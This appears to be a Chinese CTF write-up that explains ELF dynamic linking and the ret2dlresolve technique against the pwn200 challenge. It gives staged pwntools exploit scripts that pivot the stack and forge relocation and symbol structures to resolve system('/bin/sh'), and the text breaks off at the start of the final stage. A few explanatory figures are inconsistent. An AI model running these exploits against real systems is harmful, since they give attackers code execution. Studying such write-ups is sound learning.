背景

ELF程序的基本相关结构

.ELF可执行文件由ELF头部,程序头部表和其对应的段,节区头部表和对应的节组成。
如果一个可执行文件参与动态链接,它的程序头部表将包含类型为PT_DYNAMIC的段,它包含.dynamic节区

1
2
3
4
5
6
7
8
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn_DYNAMIC[];

Elf32_Dyn
结构由一个类型值(4字节的tag)加上一个value或指针(共用体),对于不同的类型,后面附加的数值有者不同的含义。下面是和延迟绑定相关的类型值的定义

d_tag类型 d_un定义
DT_STRTAB-5 动态链接字符串表的地址,d_ptr表示.dynstr的地址(address of string table)
DT_SYMTAB-6 动态链接符号表的地址,d_ptr表示.dynsym的地址(adress of symbol table)
DT_JMPREL-23 动态链接重定位表的地址,d_ptr表示.rel.plt的地址(address of PLT reloc)
DT_RELENT-19 单个重定位表项的大小,d_val表示单个重定位表项大小(size of one Rel reloc)
DT_SYMENT-11 单个符号表项的大小,d_val表示单个符号表项大小(size of one symbol table entry)

readelf -d filename查看某可执行文件的.dynamic节,每个tag对应节区,如下所示,比如JMPREL对应着.rel.plt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
ayoung@ubuntu:~/Desktop/temp/re2dlresolve$ readelf -d test

Dynamic section at offset 0xf14 contains 24 entries:
标记 类型 名称/值
0x00000001 (NEEDED) 共享库:[libc.so.6]
0x0000000c (INIT) 0x80482f0
0x0000000d (FINI) 0x8048524
0x00000019 (INIT_ARRAY) 0x8049f08
0x0000001b (INIT_ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x8049f0c
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
0x6ffffef5 (GNU_HASH) 0x80481ac
0x00000005 (STRTAB) 0x804822c
0x00000006 (SYMTAB) 0x80481cc
0x0000000a (STRSZ) 101 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x804a000
0x00000002 (PLTRELSZ) 24 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x80482d8
0x00000011 (REL) 0x80482d0
0x00000012 (RELSZ) 8 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x80482a0
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x8048292
0x00000000 (NULL) 0x0

节区包含目标文件的所有信息,节的结构下

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct {
ELF32_Word sh_name; //节头部字符串表节区的索引
ELF32_Word sh_type; //节类型
ELF32_Word sh_flags; //节标志,用于描述属性
ELF32_Addr sh_addr; //节的内存映像
ELF32_Off sh_offset; //节的文件偏移
ELF32_Word sh_size; //节的长度
ELF32_Word sh_link; //节头部表索引链接
ELF32_Word sh_info; //附加信息
ELF32_Word sh_addralign;//节对齐约束
ELF32_Word sh_entsize; //固定大小的节表项的长度
} Elf32_Shdr;

readelf -S filename查看文件的节区,其中类型为REL的节区包含重定位表项,每个节区按上面的结构体解析,如下所示
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
ayoung@ubuntu:~/Desktop/temp/re2dlresolve$ readelf -S test
共有 36 个节头,从偏移量 0x1b10 开始:

节头:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481cc 0001cc 000060 10 A 6 1 4
[ 6] .dynstr STRTAB 0804822c 00022c 000065 00 A 0 0 1
[ 7] .gnu.version VERSYM 08048292 000292 00000c 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 080482a0 0002a0 000030 00 A 6 1 4
[ 9] .rel.dyn REL 080482d0 0002d0 000008 08 A 5 0 4
[10] .rel.plt REL 080482d8 0002d8 000018 08 AI 5 24 4
[11] .init PROGBITS 080482f0 0002f0 000023 00 AX 0 0 4
[12] .plt PROGBITS 08048320 000320 000040 04 AX 0 0 16
[13] .plt.got PROGBITS 08048360 000360 000008 00 AX 0 0 8
[14] .text PROGBITS 08048370 000370 0001b2 00 AX 0 0 16
[15] .fini PROGBITS 08048524 000524 000014 00 AX 0 0 4
[16] .rodata PROGBITS 08048538 000538 000008 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 08048540 000540 00002c 00 A 0 0 4
[18] .eh_frame PROGBITS 0804856c 00056c 0000cc 00 A 0 0 4
[19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[24] .got.plt PROGBITS 0804a000 001000 000018 04 WA 0 0 4
[25] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4
[26] .bss NOBITS 0804a020 001020 000004 00 WA 0 0 1
[27] .comment PROGBITS 00000000 001020 000035 01 MS 0 0 1
[28] .debug_aranges PROGBITS 00000000 001055 000020 00 0 0 1
[29] .debug_info PROGBITS 00000000 001075 0000bb 00 0 0 1
[30] .debug_abbrev PROGBITS 00000000 001130 000079 00 0 0 1
[31] .debug_line PROGBITS 00000000 0011a9 00003a 00 0 0 1
[32] .debug_str PROGBITS 00000000 0011e3 0000e9 01 MS 0 0 1
[33] .shstrtab STRTAB 00000000 0019c4 00014a 00 0 0 1
[34] .symtab SYMTAB 00000000 0012cc 0004b0 10 35 52 4
[35] .strtab STRTAB 00000000 00177c 000248 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)

类型为REL的节区,包含重定位表项

  1. .rel.plt节(第16行)用于函数重定位,.rel.dyn节(第15行)用于变量重定位(全局变量,开了pie保护程序基址改变等)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    typedef struct {
    Elf32_Addr r_offset; //对于可执行文件,此值为虚拟地址
    Elf32_Word r_info; //符号表索引
    } Elf32_Rel;

    /*r_offset 此成员给出了需要重定位的位置。对于一个可重定位文件而言,
    此值是从需要重定位的符号所在节区头部开始到将被重定位的位置之间的字节偏移。
    对于可执行文件或者共享目标文件而言,其取值是需要重定位的虚拟地址,
    一般而言,也就是说我们所说的 GOT 表的地址。 */

    /*r_info 此成员给出需要重定位的符号的符号表索引,以及相应的重定位类型。
    例如一个调用指令的重定位项将包含被调用函数的符号表索引。如果索引是 STN_UNDEF,
    那么重定位使用 0 作为 “符号值”。此外,重定位类型是和处理器相关的。 */

    #define ELF32_R_SYM(i) ((i)>>8)
    #define ELF32_R_TYPE(i) ((unsigned char)(i))
    #define ELF32_R_INFO(s,t) (((s)<<8)+(unsigned char)(t))
  • 32位下r_offset和r_info均为四字节
  • 第一行宏定义把传进来的值右移八位,由三个十六进制数组成的数得到结果为最高位的十六进制数
  • 第二行宏定义,取低字节

如下,.rel.plt中列出了链接的C库函数

1
2
3
4
5
6
7
8
9
10
11
ayoung@ubuntu:~/Desktop/temp/re2dlresolve$ readelf -r test

重定位节 '.rel.dyn' 位于偏移量 0x2d0 含有 1 个条目:
偏移量 信息 类型 符号值 符号名称
08049ffc 00000306 R_386_GLOB_DAT 00000000 __gmon_start__

重定位节 '.rel.plt' 位于偏移量 0x2d8 含有 3 个条目:
偏移量 信息 类型 符号值 符号名称
0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4
0804a014 00000407 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0

以read函数为例,r_offset=0x0804a00c,r_info=0x107
.got节保存全局变量偏移表,.got.plt节存储着全局函数偏离表
.got.plt对应ELF32_Rel结构中的r_offset值。如图,read函数在GOT表中位于0x0804a00c

.dynsym节区包含了动态链接符号表,其中ELF32_Sym[num]中的num对应着ELF32_R_SYM(Elf32_Rel->r_info)。根据宏定义,可得ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info)>>8(即下标num是用r_info算出来的)

ELF32_Sym结构体如下

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

关注动态符号中的两个成员

  • st_name 该成员保存着动态符号在.dynstr表(动态字符串表)中的偏移
  • st_value 若该符号被导出,则这个符号保存着相应的虚拟地址

下图可以看到.dynsym节区,根据上面提到read函数对应的r_info为0x107,0x107>>9=1,即为sym的index,于是找到sym[1],与结果吻合
且ELF32_R_TYPE(0x507)=7,对应R_386_JUMP_SLOT
【R_386_JMP_SLOT 7 word32 S 该重定位类型由链接器为动态链接过程创建。它的偏移项给出了相应过程链接表项的位置。动态链接器修改过程链接表,从而把程序控制权转移到上述指出的符号地址。】

1
2
3
4
5
6
7
8
9
10
ayoung@ubuntu:~/Desktop/temp/re2dlresolve$ readelf -s test

Symbol table '.dynsym' contains 6 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
2: 00000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (3)
3: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
4: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
5: 0804853c 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used

.dynstr(STRTAB,string table)节包含了动态链接的字符串,该节区以\x00作为开始和结束,中间每个字符串也以\x00间隔。

  • 首先查看.dynstm处相应结构体存储的内容(由前文给出结构体内容可以计算出一个结构体大小为4+4+4+1+1+2=16=0x10字节)。如下所示,对应数组下标标在图片右侧。Elf32_Sym[1]->st_name=0x2b

  • 接着查看.dynstr处存储的对应字符串,如下,由于Elf32_Sym[1]->st_name=0x2b,所以.dynstr加上0x2b的偏移量,就是字符串”read”

总结对read函数的解析过程

  • 先通过dynamic段获取各个表的地址,包括
    • 字符串表.dynstr的地址为0x0804822c
    • 符号表.dynsym的地址为0x080481cc,其单个符号表项大小(一个结构体)为16字节
    • 重定位表.rel.plt的地址为0x080482d8,其单个重定位表项的大小(一个结构体)为8字节
  • read函数为.rel.plt表中第一个元素,定位它的重定位表项,从结构体中得到raed函数的r_offset0x0804a00c;以及它在符号表(Elf32_Sym数组)的下标为0x1,它的类型为0x7,对应R_386_JUMP_SLOT(r_info计算得到)
  • 由0x1知道了read函数的符号表时.dynsym第二个元素,获取到该结构体,得到其对应的st_name的值为0x2b,从而获取了read字符串应该在.dynstr表偏移为0x2b的地方
  • 最后调用函数解析匹配read字符串所对应的函数地址,将其填写到r_offset0x0804a00c,即read函数的GOT表中

延迟绑定过程详解

  • 第一次执行read函数时,跳转到read的plt表位置,接着跳转到read的got表(0x804a00c)存储的地址,从下图可以看到,此时got表中没有存放read的真实地址,而是下一条指令的地址,把reloc_arg=0x0作为参数入栈,接着跳转到0x8048320(plt表的第一项)

  • 0x8048320再把link_map = *(GOT+4)作为参数压入栈中(GOT表第二项),而*(GOT+8)(GOT表第三项)保存的是_dl_runtime_resolve函数的地址。如下图,所以以上指令相当于执行了_dl_runtime_resolve(link_map, reloc_arg)【分别对应先后压入栈中的两个参数】
    该函数会完成符号的解析,即将read函数的真实地址写入read的GOT表中,随后将控制权交给read函数
    其中GOT+4和GOT+8的地址是程序加载时就确定了的,而对每个函数而言唯一不一样的就是reloc_arg,即函数对应的plt表第二行push的参数

  • 查看_dl_runtime_resolve,它在0xf7fee00b处调用_dl_fixup,并通过寄存器传参

  • _dl_fixup是在glibc-2.23/elf/dl-runtime.c实现的
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    _dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
    {
    const ElfW(Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
    //获取符号表地址

    const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    //获取字符串表地址

    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    //获取函数对应的重定位表结构地址

    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    //获取函数对应的符号表结构地址

    void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
    //得到函数对应的got地址,即真实函数地址要填回的地址

    DL_FIXUP_VALUE_TYPE value;

    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
    //判断重定位表的类型,必须要为7--ELF_MACHINE_JMP_SLOT
    /* Look up the target symbol. If the normal lookup rules are not
    used don't look in the global scope. */
    //需要绕过
    if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
    const struct r_found_version *version = NULL;

    if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    {
    const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
    ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
    version = &l->l_versions[ndx];
    if (version->hash == 0)
    version = NULL;
    }

    ...

    result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    // 接着通过strtab+sym->st_name找到符号表字符串

    ...
    value = DL_FIXUP_MAKE_VALUE (result,
    sym ? (LOOKUP_VALUE_ADDRESS (result)
    + sym->st_value) : 0);
    // value为libc基址加上要解析函数的偏移地址,也即实际地址
    }
    else
    {
    /* We already found the symbol. The module (and therefore its load
    address) is also known. */
    value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
    result = l;
    }

    ...

    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
    // 最后把value写入相应的GOT表条目rel_addr中
    }

重点如下:
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)

  • 首先通过参数reloc_arg计算重定位入口,这里的JMPREL 就是 .rel.pltreloc_offset 就是 reloc_arg
    const PLTREL *const reloc = (const void *)(D_PTR(l,l_info[DT_JMPREL]) + reloc_offset);
  • 然后通过reloc_r_info 找到 .dynsym 中的条目
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
  • 这里还会检查reloc_r_info的最低位是不是R_386_JUMP_SLOT=7
    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
  • 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
    result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags,NULL);
  • value为libc基址加上要解析函数的偏移地址,即函数的真实地址
    value = EL_FIXUP_MAKE_VALUE(result, sym ?(LOOKUP_VALUE_ADDRESS(result) + sym->st_name) :0);
  • 最后把value写入相应的GOT表条目中
    return elf_machine_fixup_plt(l, result, reloc, rel_addr, value);

总结_dl_fixup函数功能

  1. 程序首先从第一个参数link_map获取字符串表.dynstr、符号表.dynsym一起重定位表.rel.plt的地址
  2. 通过第二个参数n即.rel.plt表中的偏移reloc_arg + .rel.plt的地址获取函数对应的重定位结构的位置(Elf32_Rel),从而获得函数对应的r_offset以及符号表(Elf32_Sym)中的下标r_info>>8
  3. 根据符号表地址以及下标获取符号结构体(Elf32_Sym[r_info>>8]),从而获得函数符号表中的st_name,即函数名相对于字符串表.dynstr的偏移(.dynstr基址+st_name 指向 相应函数名的字符串)
  4. 最后得到函数名的字符串,然后到libc中匹配函数名,找到对应的函数并将地址填入r_offset即函数GOT表中,完成延迟绑定

漏洞利用方式

  1. 控制eip为PLT[0]的地址,这时我们需要代替正常流程自行填充一个reloc_arg
  2. 控制reloc_arg的大小,使Elf32_Rel的位置落在可控地址内
  3. 伪造Elf32_Rel的结构体内容(r_offset和r_info),使Elf32_Sym落在可控地址内
  4. 伪造Elf32_Sym的结构体内容(st_name、st_value、st_size、st_info、st_other、st_shndx),使name落在可控地址内
  5. 伪造name为任意库函数,如system

例题

adworld-pwn200
存在一个赤裸的栈溢出漏洞

手动构造

stage1

在这里使用栈迁移的方法,将栈迁移到bss段来控制write函数,主要有两步

  1. 将栈迁移到bss段(可写)
  2. 控制write函数输出相应字符串
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    from pwn import*
    io = process('./pwn200')
    elf = ELF('./pwn200')
    context.log_level = 'debug'

    write_plt = elf.plt['write']
    read_plt = elf.plt['read']
    write_got = elf.got['write']
    bss_addr = elf.bss()

    stack_size = 0x800
    base_stage = bss_addr + stack_size

    p_p_p_ret = 0x0804856c
    leave_ret = 0x08048481
    pop_ebp_ret = 0x08048453

    payload1 = 'A'*112
    payload1 += p32(read_plt)
    payload1 += p32(p_p_p_ret)
    payload1 += p32(0)
    payload1 += p32(base_stage)
    payload1 += p32(100) #read(0,base_stage,100)
    payload1 += p32(pop_ebp_ret)
    payload1 += p32(base_stage)#fake ebp
    payload1 += p32(leave_ret) #stack piovt
    #(leave=>mov esp,ebp;pop ebp;ret)

    binsh_addr = base_stage + 80 #cmd相对于栈底地偏移
    cmd = '/bin/sh\x00'

    payload2 = 'AAAA' #对应栈迁移中leave指令的pop ebp
    payload2 += p32(write_plt) #ret到这条指令
    payload2 += 'dead'
    payload2 += p32(1)
    payload2 += p32(binsh_addr)
    payload2 += p32(len(cmd)) #write(1,binsh_addr,len)
    payload2 = payload2.ljust(80,'D')
    payload2 += cmd
    payload2 = payload2.ljust(100,'D')

    io.recvuntil('Welcome to XDCTF2015~!')
    io.sendline(payload1)
    sleep(0.5)
    io.sendline(payload2)

    io.interactive()
    最后成功打印出cmd
    1
    2
    3
    4
    5
    6
    7
    [*] Switching to interactive mode

    [DEBUG] Received 0x8 bytes:
    00000000 2f 62 69 6e 2f 73 68 00 │/bin│/sh·│
    00000008
    /bin/sh\x00[*] Got EOF while reading in interactive

    stage2

    这次直接控制EIP返回到PLT[0]并手动在栈上填充一个reloc_arg/index_offset
    从而代替了程序原来的流程中push的相应的参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import*
io = process('./pwn200')
elf = ELF('./pwn200')
context.log_level = 'debug'

write_plt = elf.plt['write']
read_plt = elf.plt['read']
write_got = elf.got['write']
bss_addr = elf.bss()

stack_size = 0x800
base_stage = bss_addr + stack_size

p_p_p_ret = 0x0804856c
leave_ret = 0x08048481
pop_ebp_ret = 0x08048453


payload1 = 'A'*112
payload1 += p32(read_plt)
payload1 += p32(p_p_p_ret)
payload1 += p32(0)
payload1 += p32(base_stage)
payload1 += p32(100)
payload1 += p32(pop_ebp_ret)
payload1 += p32(base_stage)
payload1 += p32(leave_ret) #stack piovt

binsh_addr = base_stage + 80
cmd = '/bin/sh\x00'
plt_start = 0x08048370 #objdump -d -j .plt pwn200 -M intel
rel_offset = 0x20 #index_offset/reloc_arg

payload2 = 'AAAA'
payload2 += p32(plt_start)
payload2 += p32(rel_offset)
payload2 += 'dead'
payload2 += p32(1)
payload2 += p32(binsh_addr)
payload2 += p32(len(cmd))
payload2 = payload2.ljust(80,'D')
payload2 += cmd
payload2 = payload2.ljust(100,'D')

io.recvuntil('Welcome to XDCTF2015~!')

io.sendline(payload1)
sleep(0.5)
gdb.attach(io)
io.sendline(payload2)

io.interactive()

成功

1
2
3
4
5
6
7
[*] Switching to interactive mode

[DEBUG] Received 0x8 bytes:
00000000 2f 62 69 6e 2f 73 68 00 │/bin│/sh·│
00000008
/bin/sh\x00[*] Got EOF while reading in interactive

stage3

这次控制reloc_arg/index_offset/reloc_offset,使其指向我们构造的fake_reloc(即存有r_offset和r_info的结构体Elf32_Rel)(.rel.plt表的基址,即JMPREL,加上reloc_arg偏移即找到相应的结构体)
fake_reloc的内容为r_offset=0x804a010,r_info=0x507(readelf -r pwn200

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import*
io = process('./pwn200')
elf = ELF('./pwn200')
context.log_level = 'debug'

write_plt = elf.plt['write']
read_plt = elf.plt['read']
write_got = elf.got['write']
bss_addr = elf.bss()

stack_size = 0x800
base_stage = bss_addr + stack_size

p_p_p_ret = 0x0804856c
leave_ret = 0x08048481
pop_ebp_ret = 0x08048453


payload1 = 'A'*112
payload1 += p32(read_plt)
payload1 += p32(p_p_p_ret)
payload1 += p32(0)
payload1 += p32(base_stage)
payload1 += p32(100)
payload1 += p32(pop_ebp_ret)
payload1 += p32(base_stage)
payload1 += p32(leave_ret) #stack piovt


JMPREL = 0x08048318 #.rel.plt表的基址
plt_start = 0x08048370
fake_rel_addr = base_stage + 28 #计算得出
rel_offset = fake_rel_addr - JMPREL
'''
base_stage+28指向fake rel,即所以fake rel的地址减去JMPREL基址即得到fake rel相对于.rel.plt表的偏移,
即reloc_arg/reloc_offset/index_offset
'''

r_info = 0x507
fake_rel = p32(write_got) + p32(r_info)
binsh_addr = base_stage + 80
cmd = '/bin/sh\x00'


payload2 = 'AAAA'
payload2 += p32(plt_start)
payload2 += p32(rel_offset)
payload2 += 'dead'
payload2 += p32(1)
payload2 += p32(binsh_addr)
payload2 += p32(len(cmd))
payload2 += fake_rel
payload2 = payload2.ljust(80,'D')
payload2 += cmd
payload2 = payload2.ljust(100,'D')

io.recvuntil('Welcome to XDCTF2015~!')

io.sendline(payload1)
sleep(0.5)
io.sendline(payload2)

io.interactive()

成功

1
2
3
4
[DEBUG] Received 0x8 bytes:
00000000 2f 62 69 6e 2f 73 68 00/bin│/sh·│
00000008
/bin/sh\x00[*] Got EOF while reading in interactive

stage4

构造fake_sym,使其指向我们控制的st_name
结构体数组Elf32_Sym[r_info>>8],所以基址SYMTAB加上 下标*0x10
由于本题write函数对应的r_info=0x507,0x507>>8=5,所以对应的sym结构体地址为SYMTAB+0x10*5
write函数的sym结构体中还有16字节内容需要伪造,其中st_name=0x54

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import*
io = process('./pwn200')
elf = ELF('./pwn200')
context.log_level = 'debug'

write_plt = elf.plt['write']
read_plt = elf.plt['read']
write_got = elf.got['write']
bss_addr = elf.bss()

stack_size = 0x800
base_stage = bss_addr + stack_size

p_p_p_ret = 0x0804856c
leave_ret = 0x08048481
pop_ebp_ret = 0x08048453


payload1 = 'A'*112
payload1 += p32(read_plt)
payload1 += p32(p_p_p_ret)
payload1 += p32(0)
payload1 += p32(base_stage)
payload1 += p32(100)
payload1 += p32(pop_ebp_ret)
payload1 += p32(base_stage)
payload1 += p32(leave_ret) #stack piovt


JMPREL = 0x08048318 #JMPREL Relocation Table重定位表的基址
SYMTAB = 0x080481d8 #Symbol Table符号表的基址
plt_start = 0x08048370
fake_rel_addr = base_stage + 28 #计算得出
rel_offset = fake_rel_addr - JMPREL
binsh_addr = base_stage + 80
cmd = '/bin/sh\x00'

fake_sym_addr = base_stage + 36

align = 0x10 - ((fake_sym_addr - SYMTAB) & 0xf)
fake_sym_addr = fake_sym_addr + align
'''
上面两行的操作是为了字节对齐。因为sym每个结构体大小均为0x10,我们希望把伪造的sym
和真实的sym结构体对齐,具体来说就是让我们的fake_sym_addr最后一个数字
与SYMTAB的最后一个数字相等(最后一个字节的低四位),本题而言就是希望fake_sym_addr的
最后一个数字从0x4变为0x8。
把fake_sym_addr-SYMTAB的结果与上0xf,即&1111,从二进制层面来说就能得到前者的最后4bit,
也就是提取出了偏移量的最后一个数字,进而计算得到其与0x10的差值。
最后再在伪造的sym开始的地方填充对应差值大小的字符,从而字节对齐(如本题从0x804a844填充到0x804a848)
这里如果恰巧没有填充时已经对齐了,仍然会被填充0x10字节的数据
'''

index_dynsym = (fake_sym_addr - SYMTAB)/0x10 #得到偏移除以0x10得到对应的结构体数组下标

r_info = (index_dynsym << 8) | 0x7
'''
反向计算,0x0507>>8=index_dynsym=0x5,而0x5<<8=0x500,
由于之后会有一个验证r_info最后一个字节是否等于0x07的操作,
所以这里的 |0x7 是为确保伪造的r_info通过验证(ELF_MACHINE_JMP_SLOT)
'''
'''
否则产生如下报错
Inconsistency detected by ld.so: dl-runtime.c: 79: _dl_fixup:
Assertion `ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT' failed!
'''


fake_rel = p32(write_got) + p32(r_info)
st_name = 0x54
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_start)
payload2 += p32(rel_offset)
payload2 += 'dead'
payload2 += p32(1)
payload2 += p32(binsh_addr)
payload2 += p32(len(cmd))
payload2 += fake_rel
payload2 += 'C'*align #填充偏移,字节对齐
payload2 += fake_sym
payload2 = payload2.ljust(80,'D')
payload2 += cmd
payload2 = payload2.ljust(100,'D')

io.recvuntil('Welcome to XDCTF2015~!')

io.sendline(payload1)
sleep(0.5)
io.sendline(payload2)

io.interactive()

成功

1
2
3
4
5
[DEBUG] Received 0x8 bytes:
00000000 2f 62 69 6e 2f 73 68 00/bin│/sh·│
00000008
/bin/sh\x00[*] Got EOF while reading in interactive

stage5

st_name指向输入的字符串”write”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import*
io = process('./pwn200')
elf = ELF('./pwn200')
context.log_level = 'debug'

write_plt = elf.plt['write']
read_plt = elf.plt['read']
write_got = elf.got['write']
bss_addr = elf.bss()

stack_size = 0x800
base_stage = bss_addr + stack_size

p_p_p_ret = 0x0804856c
leave_ret = 0x08048481
pop_ebp_ret = 0x08048453


payload1 = 'A'*112
payload1 += p32(read_plt)
payload1 += p32(p_p_p_ret)
payload1 += p32(0)
payload1 += p32(base_stage)
payload1 += p32(100)
payload1 += p32(pop_ebp_ret)
payload1 += p32(base_stage)
payload1 += p32(leave_ret) #stack piovt


JMPREL = 0x08048318 #基址
SYMTAB = 0x080481d8 #基址
plt_start = 0x08048370
STRTAB = 0x08048268 #String Table的基址
fake_rel_addr = base_stage + 28 #计算得到
rel_offset = fake_rel_addr - JMPREL
binsh_addr = base_stage + 80
cmd = '/bin/sh\x00'

fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - SYMTAB) & 0xf)
fake_sym_addr = fake_sym_addr + align
r_info = ((fake_sym_addr - SYMTAB)/0x10 << 8) | 0x7
fake_rel = p32(write_got) + p32(r_info)


fake_name_addr = fake_sym_addr + 16 #伪造的st_name的地址
st_name = fake_name_addr - STRTAB #计算伪造地址与基址的偏移,从而保证正常解析
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_start)
payload2 += p32(rel_offset)
payload2 += 'dead'
payload2 += p32(1)
payload2 += p32(binsh_addr)
payload2 += p32(len(cmd))
payload2 += fake_rel
payload2 += 'C'*align
payload2 += fake_sym
payload2 += 'write\x00' #fake st_name
payload2 = payload2.ljust(80,'D')
payload2 += cmd
payload2 = payload2.ljust(100,'D')

io.recvuntil('Welcome to XDCTF2015~!')

io.sendline(payload1)
sleep(0.5)
io.sendline(payload2)

io.interactive()

stage6

这一阶段,我们把字符串write替换为system,从而达到把system函数的地址写入write函数GOT表的效果。同时修改system的参数,从而执行system(‘/bin/sh’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import*
